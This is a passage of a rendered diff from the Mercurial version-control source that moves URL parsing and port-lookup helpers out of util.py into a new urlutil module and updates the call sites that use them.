|
33 | ) | |
|
31 | 34 | |
|
32 | 35 | httpservermod = util.httpserver |
|
33 | 36 | socketserver = util.socketserver |
@@ -431,7 +434,7 b' def create_server(ui, app):' | |||
|
431 | 434 | sys.setdefaultencoding(oldenc) |
|
432 | 435 | |
|
433 | 436 | address = ui.config(b'web', b'address') |
|
434 | port = util.getport(ui.config(b'web', b'port')) | |
|
437 | port = urlutil.getport(ui.config(b'web', b'port')) | |
|
435 | 438 | try: |
|
436 | 439 | return cls(ui, app, (address, port), handler) |
|
437 | 440 | except socket.error as inst: |
@@ -18,6 +18,10 b' from . import (' | |||
|
18 | 18 | pycompat, |
|
19 | 19 | util, |
|
20 | 20 | ) |
|
21 | from .utils import ( | |
|
22 | urlutil, | |
|
23 | ) | |
|
24 | ||
|
21 | 25 | |
|
22 | 26 | urlerr = util.urlerr |
|
23 | 27 | urlreq = util.urlreq |
@@ -99,7 +103,7 b' def readauthforuri(ui, uri, user):' | |||
|
99 | 103 | if not prefix: |
|
100 | 104 | continue |
|
101 | 105 | |
|
102 | prefixurl = util.url(prefix) | |
|
106 | prefixurl = urlutil.url(prefix) | |
|
103 | 107 | if prefixurl.user and prefixurl.user != user: |
|
104 | 108 | # If a username was set in the prefix, it must match the username in |
|
105 | 109 | # the URI. |
@@ -38,6 +38,7 b' from .interfaces import (' | |||
|
38 | 38 | from .utils import ( |
|
39 | 39 | cborutil, |
|
40 | 40 | stringutil, |
|
41 | urlutil, | |
|
41 | 42 | ) |
|
42 | 43 | |
|
43 | 44 | httplib = util.httplib |
@@ -305,7 +306,7 b' def sendrequest(ui, opener, req):' | |||
|
305 | 306 | except httplib.HTTPException as inst: |
|
306 | 307 | ui.debug( |
|
307 | 308 | b'http error requesting %s\n' |
|
308 | % util.hidepassword(req.get_full_url()) | |
|
309 | % urlutil.hidepassword(req.get_full_url()) | |
|
309 | 310 | ) |
|
310 | 311 | ui.traceback() |
|
311 | 312 | raise IOError(None, inst) |
@@ -352,14 +353,14 b' def parsev1commandresponse(' | |||
|
352 | 353 | except AttributeError: |
|
353 | 354 | proto = pycompat.bytesurl(resp.headers.get('content-type', '')) |
|
354 | 355 | |
|
355 | safeurl = util.hidepassword(baseurl) | |
|
356 | safeurl = urlutil.hidepassword(baseurl) | |
|
356 | 357 | if proto.startswith(b'application/hg-error'): |
|
357 | 358 | raise error.OutOfBandError(resp.read()) |
|
358 | 359 | |
|
359 | 360 | # Pre 1.0 versions of Mercurial used text/plain and |
|
360 | 361 | # application/hg-changegroup. We don't support such old servers. |
|
361 | 362 | if not proto.startswith(b'application/mercurial-'): |
|
362 | ui.debug(b"requested URL: '%s'\n" % util.hidepassword(requrl)) | |
|
363 | ui.debug(b"requested URL: '%s'\n" % urlutil.hidepassword(requrl)) | |
|
363 | 364 | msg = _( |
|
364 | 365 | b"'%s' does not appear to be an hg repository:\n" |
|
365 | 366 | b"---%%<--- (%s)\n%s\n---%%<---\n" |
@@ -1058,7 +1059,7 b' def makepeer(ui, path, opener=None, requ' | |||
|
1058 | 1059 | ``requestbuilder`` is the type used for constructing HTTP requests. |
|
1059 | 1060 | It exists as an argument so extensions can override the default. |
|
1060 | 1061 | """ |
|
1061 | u = util.url(path) | |
|
1062 | u = urlutil.url(path) | |
|
1062 | 1063 | if u.query or u.fragment: |
|
1063 | 1064 | raise error.Abort( |
|
1064 | 1065 | _(b'unsupported URL component: "%s"') % (u.query or u.fragment) |
@@ -85,6 +85,7 b' from .utils import (' | |||
|
85 | 85 | hashutil, |
|
86 | 86 | procutil, |
|
87 | 87 | stringutil, |
|
88 | urlutil, | |
|
88 | 89 | ) |
|
89 | 90 | |
|
90 | 91 | from .revlogutils import ( |
@@ -3404,7 +3405,7 b' def undoname(fn):' | |||
|
3404 | 3405 | |
|
3405 | 3406 | |
|
3406 | 3407 | def instance(ui, path, create, intents=None, createopts=None): |
|
3407 | localpath = util.urllocalpath(path) | |
|
3408 | localpath = urlutil.urllocalpath(path) | |
|
3408 | 3409 | if create: |
|
3409 | 3410 | createrepository(ui, localpath, createopts=createopts) |
|
3410 | 3411 |
@@ -15,6 +15,9 b' from . import (' | |||
|
15 | 15 | util, |
|
16 | 16 | vfs as vfsmod, |
|
17 | 17 | ) |
|
18 | from .utils import ( | |
|
19 | urlutil, | |
|
20 | ) | |
|
18 | 21 | |
|
19 | 22 | # directory name in .hg/ in which remotenames files will be present |
|
20 | 23 | remotenamedir = b'logexchange' |
@@ -117,7 +120,7 b' def activepath(repo, remote):' | |||
|
117 | 120 | # represent the remotepath with user defined path name if exists |
|
118 | 121 | for path, url in repo.ui.configitems(b'paths'): |
|
119 | 122 | # remove auth info from user defined url |
|
120 | noauthurl = util.removeauth(url) | |
|
123 | noauthurl = urlutil.removeauth(url) | |
|
121 | 124 | |
|
122 | 125 | # Standardize on unix style paths, otherwise some {remotenames} end up |
|
123 | 126 | # being an absolute path on Windows. |
@@ -34,6 +34,7 b' from . import (' | |||
|
34 | 34 | from .utils import ( |
|
35 | 35 | procutil, |
|
36 | 36 | stringutil, |
|
37 | urlutil, | |
|
37 | 38 | ) |
|
38 | 39 | |
|
39 | 40 | if pycompat.TYPE_CHECKING: |
@@ -139,7 +140,7 b' def _smtp(ui):' | |||
|
139 | 140 | defaultport = 465 |
|
140 | 141 | else: |
|
141 | 142 | defaultport = 25 |
|
142 | mailport = util.getport(ui.config(b'smtp', b'port', defaultport)) | |
|
143 | mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport)) | |
|
143 | 144 | ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport)) |
|
144 | 145 | s.connect(host=mailhost, port=mailport) |
|
145 | 146 | if starttls: |
@@ -28,11 +28,11 b' from . import (' | |||
|
28 | 28 | pycompat, |
|
29 | 29 | requirements, |
|
30 | 30 | scmutil, |
|
31 | util, | |
|
32 | 31 | ) |
|
33 | 32 | from .utils import ( |
|
34 | 33 | hashutil, |
|
35 | 34 | stringutil, |
|
35 | urlutil, | |
|
36 | 36 | ) |
|
37 | 37 | |
|
38 | 38 | |
@@ -245,7 +245,7 b' def strip(ui, repo, nodelist, backup=Tru' | |||
|
245 | 245 | tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile) |
|
246 | 246 | txnname = b'strip' |
|
247 | 247 | if not isinstance(gen, bundle2.unbundle20): |
|
248 | txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl) | |
|
248 | txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl) | |
|
249 | 249 | with repo.transaction(txnname) as tr: |
|
250 | 250 | bundle2.applybundle( |
|
251 | 251 | repo, gen, tr, source=b'strip', url=tmpbundleurl |
@@ -22,7 +22,10 b' from . import (' | |||
|
22 | 22 | util, |
|
23 | 23 | ) |
|
24 | 24 | |
|
25 |
from .utils import |
|
|
25 | from .utils import ( | |
|
26 | procutil, | |
|
27 | urlutil, | |
|
28 | ) | |
|
26 | 29 | |
|
27 | 30 | |
|
28 | 31 | def runservice( |
@@ -184,7 +187,7 b' def _createcmdservice(ui, repo, opts):' | |||
|
184 | 187 | def _createhgwebservice(ui, repo, opts): |
|
185 | 188 | # this way we can check if something was given in the command-line |
|
186 | 189 | if opts.get(b'port'): |
|
187 | opts[b'port'] = util.getport(opts.get(b'port')) | |
|
190 | opts[b'port'] = urlutil.getport(opts.get(b'port')) | |
|
188 | 191 | |
|
189 | 192 | alluis = {ui} |
|
190 | 193 | if repo: |
@@ -24,6 +24,7 b' from . import (' | |||
|
24 | 24 | from .utils import ( |
|
25 | 25 | procutil, |
|
26 | 26 | stringutil, |
|
27 | urlutil, | |
|
27 | 28 | ) |
|
28 | 29 | |
|
29 | 30 | |
@@ -662,11 +663,11 b' def instance(ui, path, create, intents=N' | |||
|
662 | 663 | |
|
663 | 664 | The returned object conforms to the ``wireprotov1peer.wirepeer`` interface. |
|
664 | 665 | """ |
|
665 | u = util.url(path, parsequery=False, parsefragment=False) | |
|
666 | u = urlutil.url(path, parsequery=False, parsefragment=False) | |
|
666 | 667 | if u.scheme != b'ssh' or not u.host or u.path is None: |
|
667 | 668 | raise error.RepoError(_(b"couldn't parse location %s") % path) |
|
668 | 669 | |
|
669 | util.checksafessh(path) | |
|
670 | urlutil.checksafessh(path) | |
|
670 | 671 | |
|
671 | 672 | if u.passwd is not None: |
|
672 | 673 | raise error.RepoError(_(b'password in URL not supported')) |
@@ -26,6 +26,9 b' from . import (' | |||
|
26 | 26 | util, |
|
27 | 27 | vfs as vfsmod, |
|
28 | 28 | ) |
|
29 | from .utils import ( | |
|
30 | urlutil, | |
|
31 | ) | |
|
29 | 32 | |
|
30 | 33 | urlerr = util.urlerr |
|
31 | 34 | urlreq = util.urlreq |
@@ -162,7 +165,7 b' class statichttprepository(' | |||
|
162 | 165 | self.ui = ui |
|
163 | 166 | |
|
164 | 167 | self.root = path |
|
165 | u = util.url(path.rstrip(b'/') + b"/.hg") | |
|
168 | u = urlutil.url(path.rstrip(b'/') + b"/.hg") | |
|
166 | 169 | self.path, authinfo = u.authinfo() |
|
167 | 170 | |
|
168 | 171 | vfsclass = build_opener(ui, authinfo) |
@@ -44,6 +44,7 b' from .utils import (' | |||
|
44 | 44 | dateutil, |
|
45 | 45 | hashutil, |
|
46 | 46 | procutil, |
|
47 | urlutil, | |
|
47 | 48 | ) |
|
48 | 49 | |
|
49 | 50 | hg = None |
@@ -57,8 +58,8 b' def _expandedabspath(path):' | |||
|
57 | 58 | """ |
|
58 | 59 | get a path or url and if it is a path expand it and return an absolute path |
|
59 | 60 | """ |
|
60 | expandedpath = util.urllocalpath(util.expandpath(path)) | |
|
61 | u = util.url(expandedpath) | |
|
61 | expandedpath = urlutil.urllocalpath(util.expandpath(path)) | |
|
62 | u = urlutil.url(expandedpath) | |
|
62 | 63 | if not u.scheme: |
|
63 | 64 | path = util.normpath(os.path.abspath(u.path)) |
|
64 | 65 | return path |
@@ -745,7 +746,7 b' class hgsubrepo(abstractsubrepo):' | |||
|
745 | 746 | |
|
746 | 747 | self.ui.status( |
|
747 | 748 | _(b'cloning subrepo %s from %s\n') |
|
748 | % (subrelpath(self), util.hidepassword(srcurl)) | |
|
749 | % (subrelpath(self), urlutil.hidepassword(srcurl)) | |
|
749 | 750 | ) |
|
750 | 751 | peer = getpeer() |
|
751 | 752 | try: |
@@ -765,7 +766,7 b' class hgsubrepo(abstractsubrepo):' | |||
|
765 | 766 | else: |
|
766 | 767 | self.ui.status( |
|
767 | 768 | _(b'pulling subrepo %s from %s\n') |
|
768 | % (subrelpath(self), util.hidepassword(srcurl)) | |
|
769 | % (subrelpath(self), urlutil.hidepassword(srcurl)) | |
|
769 | 770 | ) |
|
770 | 771 | cleansub = self.storeclean(srcurl) |
|
771 | 772 | peer = getpeer() |
@@ -849,12 +850,12 b' class hgsubrepo(abstractsubrepo):' | |||
|
849 | 850 | if self.storeclean(dsturl): |
|
850 | 851 | self.ui.status( |
|
851 | 852 | _(b'no changes made to subrepo %s since last push to %s\n') |
|
852 | % (subrelpath(self), util.hidepassword(dsturl)) | |
|
853 | % (subrelpath(self), urlutil.hidepassword(dsturl)) | |
|
853 | 854 | ) |
|
854 | 855 | return None |
|
855 | 856 | self.ui.status( |
|
856 | 857 | _(b'pushing subrepo %s to %s\n') |
|
857 | % (subrelpath(self), util.hidepassword(dsturl)) | |
|
858 | % (subrelpath(self), urlutil.hidepassword(dsturl)) | |
|
858 | 859 | ) |
|
859 | 860 | other = hg.peer(self._repo, {b'ssh': ssh}, dsturl) |
|
860 | 861 | try: |
@@ -1284,7 +1285,7 b' class svnsubrepo(abstractsubrepo):' | |||
|
1284 | 1285 | args.append(b'%s@%s' % (state[0], state[1])) |
|
1285 | 1286 | |
|
1286 | 1287 | # SEC: check that the ssh url is safe |
|
1287 | util.checksafessh(state[0]) | |
|
1288 | urlutil.checksafessh(state[0]) | |
|
1288 | 1289 | |
|
1289 | 1290 | status, err = self._svncommand(args, failok=True) |
|
1290 | 1291 | _sanitize(self.ui, self.wvfs, b'.svn') |
@@ -1582,7 +1583,7 b' class gitsubrepo(abstractsubrepo):' | |||
|
1582 | 1583 | def _fetch(self, source, revision): |
|
1583 | 1584 | if self._gitmissing(): |
|
1584 | 1585 | # SEC: check for safe ssh url |
|
1585 | util.checksafessh(source) | |
|
1586 | urlutil.checksafessh(source) | |
|
1586 | 1587 | |
|
1587 | 1588 | source = self._abssource(source) |
|
1588 | 1589 | self.ui.status( |
@@ -23,7 +23,10 b' from . import (' | |||
|
23 | 23 | pycompat, |
|
24 | 24 | util, |
|
25 | 25 | ) |
|
26 |
from .utils import |
|
|
26 | from .utils import ( | |
|
27 | stringutil, | |
|
28 | urlutil, | |
|
29 | ) | |
|
27 | 30 | |
|
28 | 31 | nullstate = (b'', b'', b'empty') |
|
29 | 32 | |
@@ -136,10 +139,10 b' def state(ctx, ui):' | |||
|
136 | 139 | kind = kind[1:] |
|
137 | 140 | src = src.lstrip() # strip any extra whitespace after ']' |
|
138 | 141 | |
|
139 | if not util.url(src).isabs(): | |
|
142 | if not urlutil.url(src).isabs(): | |
|
140 | 143 | parent = _abssource(repo, abort=False) |
|
141 | 144 | if parent: |
|
142 | parent = util.url(parent) | |
|
145 | parent = urlutil.url(parent) | |
|
143 | 146 | parent.path = posixpath.join(parent.path or b'', src) |
|
144 | 147 | parent.path = posixpath.normpath(parent.path) |
|
145 | 148 | joined = bytes(parent) |
@@ -400,13 +403,13 b' def _abssource(repo, push=False, abort=T' | |||
|
400 | 403 | """return pull/push path of repo - either based on parent repo .hgsub info |
|
401 | 404 | or on the top repo config. Abort or return None if no source found.""" |
|
402 | 405 | if util.safehasattr(repo, b'_subparent'): |
|
403 | source = util.url(repo._subsource) | |
|
406 | source = urlutil.url(repo._subsource) | |
|
404 | 407 | if source.isabs(): |
|
405 | 408 | return bytes(source) |
|
406 | 409 | source.path = posixpath.normpath(source.path) |
|
407 | 410 | parent = _abssource(repo._subparent, push, abort=False) |
|
408 | 411 | if parent: |
|
409 | parent = util.url(util.pconvert(parent)) | |
|
412 | parent = urlutil.url(util.pconvert(parent)) | |
|
410 | 413 | parent.path = posixpath.join(parent.path or b'', source.path) |
|
411 | 414 | parent.path = posixpath.normpath(parent.path) |
|
412 | 415 | return bytes(parent) |
@@ -435,7 +438,7 b' def _abssource(repo, push=False, abort=T' | |||
|
435 | 438 | # |
|
436 | 439 | # D:\>python -c "import os; print os.path.abspath('C:relative')" |
|
437 | 440 | # C:\some\path\relative |
|
438 | if util.hasdriveletter(path): | |
|
441 | if urlutil.hasdriveletter(path): | |
|
439 | 442 | if len(path) == 2 or path[2:3] not in br'\/': |
|
440 | 443 | path = os.path.abspath(path) |
|
441 | 444 | return path |
@@ -559,7 +559,7 b' class ui(object):' | |||
|
559 | 559 | ) |
|
560 | 560 | p = p.replace(b'%%', b'%') |
|
561 | 561 | p = util.expandpath(p) |
|
562 | if not util.hasscheme(p) and not os.path.isabs(p): | |
|
562 | if not urlutil.hasscheme(p) and not os.path.isabs(p): | |
|
563 | 563 | p = os.path.normpath(os.path.join(root, p)) |
|
564 | 564 | c.alter(b"paths", n, p) |
|
565 | 565 |
@@ -26,7 +26,10 b' from . import (' | |||
|
26 | 26 | urllibcompat, |
|
27 | 27 | util, |
|
28 | 28 | ) |
|
29 |
from .utils import |
|
|
29 | from .utils import ( | |
|
30 | stringutil, | |
|
31 | urlutil, | |
|
32 | ) | |
|
30 | 33 | |
|
31 | 34 | httplib = util.httplib |
|
32 | 35 | stringio = util.stringio |
@@ -75,17 +78,17 b' class passwordmgr(object):' | |||
|
75 | 78 | user, passwd = auth.get(b'username'), auth.get(b'password') |
|
76 | 79 | self.ui.debug(b"using auth.%s.* for authentication\n" % group) |
|
77 | 80 | if not user or not passwd: |
|
78 | u = util.url(pycompat.bytesurl(authuri)) | |
|
81 | u = urlutil.url(pycompat.bytesurl(authuri)) | |
|
79 | 82 | u.query = None |
|
80 | 83 | if not self.ui.interactive(): |
|
81 | 84 | raise error.Abort( |
|
82 | 85 | _(b'http authorization required for %s') |
|
83 | % util.hidepassword(bytes(u)) | |
|
86 | % urlutil.hidepassword(bytes(u)) | |
|
84 | 87 | ) |
|
85 | 88 | |
|
86 | 89 | self.ui.write( |
|
87 | 90 | _(b"http authorization required for %s\n") |
|
88 | % util.hidepassword(bytes(u)) | |
|
91 | % urlutil.hidepassword(bytes(u)) | |
|
89 | 92 | ) |
|
90 | 93 | self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm)) |
|
91 | 94 | if user: |
@@ -128,7 +131,7 b' class proxyhandler(urlreq.proxyhandler):' | |||
|
128 | 131 | proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:') |
|
129 | 132 | ): |
|
130 | 133 | proxyurl = b'http://' + proxyurl + b'/' |
|
131 | proxy = util.url(proxyurl) | |
|
134 | proxy = urlutil.url(proxyurl) | |
|
132 | 135 | if not proxy.user: |
|
133 | 136 | proxy.user = ui.config(b"http_proxy", b"user") |
|
134 | 137 | proxy.passwd = ui.config(b"http_proxy", b"passwd") |
@@ -155,7 +158,9 b' class proxyhandler(urlreq.proxyhandler):' | |||
|
155 | 158 | # expects them to be. |
|
156 | 159 | proxyurl = str(proxy) |
|
157 | 160 | proxies = {'http': proxyurl, 'https': proxyurl} |
|
158 | ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy))) | |
|
161 | ui.debug( | |
|
162 | b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy)) | |
|
163 | ) | |
|
159 | 164 | else: |
|
160 | 165 | proxies = {} |
|
161 | 166 | |
@@ -219,7 +224,7 b' def _generic_start_transaction(handler, ' | |||
|
219 | 224 | new_tunnel = False |
|
220 | 225 | |
|
221 | 226 | if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy |
|
222 | u = util.url(pycompat.bytesurl(tunnel_host)) | |
|
227 | u = urlutil.url(pycompat.bytesurl(tunnel_host)) | |
|
223 | 228 | if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS |
|
224 | 229 | h.realhostport = b':'.join([u.host, (u.port or b'443')]) |
|
225 | 230 | h.headers = req.headers.copy() |
@@ -675,7 +680,7 b' def opener(' | |||
|
675 | 680 | |
|
676 | 681 | |
|
677 | 682 | def open(ui, url_, data=None, sendaccept=True): |
|
678 | u = util.url(url_) | |
|
683 | u = urlutil.url(url_) | |
|
679 | 684 | if u.scheme: |
|
680 | 685 | u.scheme = u.scheme.lower() |
|
681 | 686 | url_, authinfo = u.authinfo() |
@@ -28,7 +28,6 b' import os' | |||
|
28 | 28 | import platform as pyplatform |
|
29 | 29 | import re as remod |
|
30 | 30 | import shutil |
|
31 | import socket | |
|
32 | 31 | import stat |
|
33 | 32 | import sys |
|
34 | 33 | import time |
@@ -57,6 +56,7 b' from .utils import (' | |||
|
57 | 56 | hashutil, |
|
58 | 57 | procutil, |
|
59 | 58 | stringutil, |
|
59 | urlutil, | |
|
60 | 60 | ) |
|
61 | 61 | |
|
62 | 62 | if pycompat.TYPE_CHECKING: |
@@ -65,7 +65,6 b' if pycompat.TYPE_CHECKING:' | |||
|
65 | 65 | List, |
|
66 | 66 | Optional, |
|
67 | 67 | Tuple, |
|
68 | Union, | |
|
69 | 68 | ) |
|
70 | 69 | |
|
71 | 70 | |
@@ -2959,420 +2958,52 b' def interpolate(prefix, mapping, s, fn=N' | |||
|
2959 | 2958 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2960 | 2959 | |
|
2961 | 2960 | |
|
2962 |
def getport( |
|
|
2963 | # type: (Union[bytes, int]) -> int | |
|
2964 | """Return the port for a given network service. | |
|
2965 | ||
|
2966 | If port is an integer, it's returned as is. If it's a string, it's | |
|
2967 | looked up using socket.getservbyname(). If there's no matching | |
|
2968 | service, error.Abort is raised. | |
|
2969 | """ | |
|
2970 | try: | |
|
2971 | return int(port) | |
|
2972 | except ValueError: | |
|
2973 | pass | |
|
2974 | ||
|
2975 | try: | |
|
2976 | return socket.getservbyname(pycompat.sysstr(port)) | |
|
2977 | except socket.error: | |
|
2978 | raise error.Abort( | |
|
2979 | _(b"no port number associated with service '%s'") % port | |
|
2980 | ) | |
|
2981 | ||
|
2982 | ||
|
2983 | class url(object): | |
|
2984 | r"""Reliable URL parser. | |
|
2985 | ||
|
2986 | This parses URLs and provides attributes for the following | |
|
2987 | components: | |
|
2988 | ||
|
2989 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
|
2990 | ||
|
2991 | Missing components are set to None. The only exception is | |
|
2992 | fragment, which is set to '' if present but empty. | |
|
2993 | ||
|
2994 | If parsefragment is False, fragment is included in query. If | |
|
2995 | parsequery is False, query is included in path. If both are | |
|
2996 | False, both fragment and query are included in path. | |
|
2997 | ||
|
2998 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
|
2999 | ||
|
3000 | Note that for backward compatibility reasons, bundle URLs do not | |
|
3001 | take host names. That means 'bundle://../' has a path of '../'. | |
|
3002 | ||
|
3003 | Examples: | |
|
3004 | ||
|
3005 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
|
3006 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
|
3007 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
|
3008 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
|
3009 | >>> url(b'file:///home/joe/repo') | |
|
3010 | <url scheme: 'file', path: '/home/joe/repo'> | |
|
3011 | >>> url(b'file:///c:/temp/foo/') | |
|
3012 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
|
3013 | >>> url(b'bundle:foo') | |
|
3014 | <url scheme: 'bundle', path: 'foo'> | |
|
3015 | >>> url(b'bundle://../foo') | |
|
3016 | <url scheme: 'bundle', path: '../foo'> | |
|
3017 | >>> url(br'c:\foo\bar') | |
|
3018 | <url path: 'c:\\foo\\bar'> | |
|
3019 | >>> url(br'\\blah\blah\blah') | |
|
3020 | <url path: '\\\\blah\\blah\\blah'> | |
|
3021 | >>> url(br'\\blah\blah\blah#baz') | |
|
3022 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
|
3023 | >>> url(br'file:///C:\users\me') | |
|
3024 | <url scheme: 'file', path: 'C:\\users\\me'> | |
|
3025 | ||
|
3026 | Authentication credentials: | |
|
3027 | ||
|
3028 | >>> url(b'ssh://joe:xyz@x/repo') | |
|
3029 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
|
3030 | >>> url(b'ssh://joe@x/repo') | |
|
3031 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
|
3032 | ||
|
3033 | Query strings and fragments: | |
|
3034 | ||
|
3035 | >>> url(b'http://host/a?b#c') | |
|
3036 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
|
3037 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
|
3038 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
|
3039 | ||
|
3040 | Empty path: | |
|
3041 | ||
|
3042 | >>> url(b'') | |
|
3043 | <url path: ''> | |
|
3044 | >>> url(b'#a') | |
|
3045 | <url path: '', fragment: 'a'> | |
|
3046 | >>> url(b'http://host/') | |
|
3047 | <url scheme: 'http', host: 'host', path: ''> | |
|
3048 | >>> url(b'http://host/#a') | |
|
3049 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
|
3050 | ||
|
3051 | Only scheme: | |
|
3052 | ||
|
3053 | >>> url(b'http:') | |
|
3054 | <url scheme: 'http'> | |
|
3055 | """ | |
|
3056 | ||
|
3057 | _safechars = b"!~*'()+" | |
|
3058 | _safepchars = b"/!~*'()+:\\" | |
|
3059 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |
|
3060 | ||
|
3061 | def __init__(self, path, parsequery=True, parsefragment=True): | |
|
3062 | # type: (bytes, bool, bool) -> None | |
|
3063 | # We slowly chomp away at path until we have only the path left | |
|
3064 | self.scheme = self.user = self.passwd = self.host = None | |
|
3065 | self.port = self.path = self.query = self.fragment = None | |
|
3066 | self._localpath = True | |
|
3067 | self._hostport = b'' | |
|
3068 | self._origpath = path | |
|
3069 | ||
|
3070 | if parsefragment and b'#' in path: | |
|
3071 | path, self.fragment = path.split(b'#', 1) | |
|
3072 | ||
|
3073 | # special case for Windows drive letters and UNC paths | |
|
3074 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |
|
3075 | self.path = path | |
|
3076 | return | |
|
3077 | ||
|
3078 | # For compatibility reasons, we can't handle bundle paths as | |
|
3079 | # normal URLS | |
|
3080 | if path.startswith(b'bundle:'): | |
|
3081 | self.scheme = b'bundle' | |
|
3082 | path = path[7:] | |
|
3083 | if path.startswith(b'//'): | |
|
3084 | path = path[2:] | |
|
3085 | self.path = path | |
|
3086 | return | |
|
3087 | ||
|
3088 | if self._matchscheme(path): | |
|
3089 | parts = path.split(b':', 1) | |
|
3090 | if parts[0]: | |
|
3091 | self.scheme, path = parts | |
|
3092 | self._localpath = False | |
|
3093 | ||
|
3094 | if not path: | |
|
3095 | path = None | |
|
3096 | if self._localpath: | |
|
3097 | self.path = b'' | |
|
3098 | return | |
|
3099 | else: | |
|
3100 | if self._localpath: | |
|
3101 | self.path = path | |
|
3102 | return | |
|
3103 | ||
|
3104 | if parsequery and b'?' in path: | |
|
3105 | path, self.query = path.split(b'?', 1) | |
|
3106 | if not path: | |
|
3107 | path = None | |
|
3108 | if not self.query: | |
|
3109 | self.query = None | |
|
3110 | ||
|
3111 | # // is required to specify a host/authority | |
|
3112 | if path and path.startswith(b'//'): | |
|
3113 | parts = path[2:].split(b'/', 1) | |
|
3114 | if len(parts) > 1: | |
|
3115 | self.host, path = parts | |
|
3116 | else: | |
|
3117 | self.host = parts[0] | |
|
3118 | path = None | |
|
3119 | if not self.host: | |
|
3120 | self.host = None | |
|
3121 | # path of file:///d is /d | |
|
3122 | # path of file:///d:/ is d:/, not /d:/ | |
|
3123 | if path and not hasdriveletter(path): | |
|
3124 | path = b'/' + path | |
|
3125 | ||
|
3126 | if self.host and b'@' in self.host: | |
|
3127 | self.user, self.host = self.host.rsplit(b'@', 1) | |
|
3128 | if b':' in self.user: | |
|
3129 | self.user, self.passwd = self.user.split(b':', 1) | |
|
3130 | if not self.host: | |
|
3131 | self.host = None | |
|
3132 | ||
|
3133 | # Don't split on colons in IPv6 addresses without ports | |
|
3134 | if ( | |
|
3135 | self.host | |
|
3136 | and b':' in self.host | |
|
3137 | and not ( | |
|
3138 | self.host.startswith(b'[') and self.host.endswith(b']') | |
|
3139 | ) | |
|
3140 | ): | |
|
3141 | self._hostport = self.host | |
|
3142 | self.host, self.port = self.host.rsplit(b':', 1) | |
|
3143 | if not self.host: | |
|
3144 | self.host = None | |
|
3145 | ||
|
3146 | if ( | |
|
3147 | self.host | |
|
3148 | and self.scheme == b'file' | |
|
3149 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |
|
3150 | ): | |
|
3151 | raise error.Abort( | |
|
3152 | _(b'file:// URLs can only refer to localhost') | |
|
3153 | ) | |
|
3154 | ||
|
3155 | self.path = path | |
|
3156 | ||
|
3157 | # leave the query string escaped | |
|
3158 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |
|
3159 | v = getattr(self, a) | |
|
3160 | if v is not None: | |
|
3161 | setattr(self, a, urlreq.unquote(v)) | |
|
3162 | ||
|
3163 | def copy(self): | |
|
3164 | u = url(b'temporary useless value') | |
|
3165 | u.path = self.path | |
|
3166 | u.scheme = self.scheme | |
|
3167 | u.user = self.user | |
|
3168 | u.passwd = self.passwd | |
|
3169 | u.host = self.host | |
|
3170 | u.path = self.path | |
|
3171 | u.query = self.query | |
|
3172 | u.fragment = self.fragment | |
|
3173 | u._localpath = self._localpath | |
|
3174 | u._hostport = self._hostport | |
|
3175 | u._origpath = self._origpath | |
|
3176 | return u | |
|
3177 | ||
|
3178 | @encoding.strmethod | |
|
3179 | def __repr__(self): | |
|
3180 | attrs = [] | |
|
3181 | for a in ( | |
|
3182 | b'scheme', | |
|
3183 | b'user', | |
|
3184 | b'passwd', | |
|
3185 | b'host', | |
|
3186 | b'port', | |
|
3187 | b'path', | |
|
3188 | b'query', | |
|
3189 | b'fragment', | |
|
3190 | ): | |
|
3191 | v = getattr(self, a) | |
|
3192 | if v is not None: | |
|
3193 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |
|
3194 | return b'<url %s>' % b', '.join(attrs) | |
|
3195 | ||
|
3196 | def __bytes__(self): | |
|
3197 | r"""Join the URL's components back into a URL string. | |
|
3198 | ||
|
3199 | Examples: | |
|
3200 | ||
|
3201 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
|
3202 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
|
3203 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
|
3204 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
|
3205 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
|
3206 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
|
3207 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
|
3208 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
|
3209 | >>> bytes(url(b'http://localhost:80//')) | |
|
3210 | 'http://localhost:80//' | |
|
3211 | >>> bytes(url(b'http://localhost:80/')) | |
|
3212 | 'http://localhost:80/' | |
|
3213 | >>> bytes(url(b'http://localhost:80')) | |
|
3214 | 'http://localhost:80/' | |
|
3215 | >>> bytes(url(b'bundle:foo')) | |
|
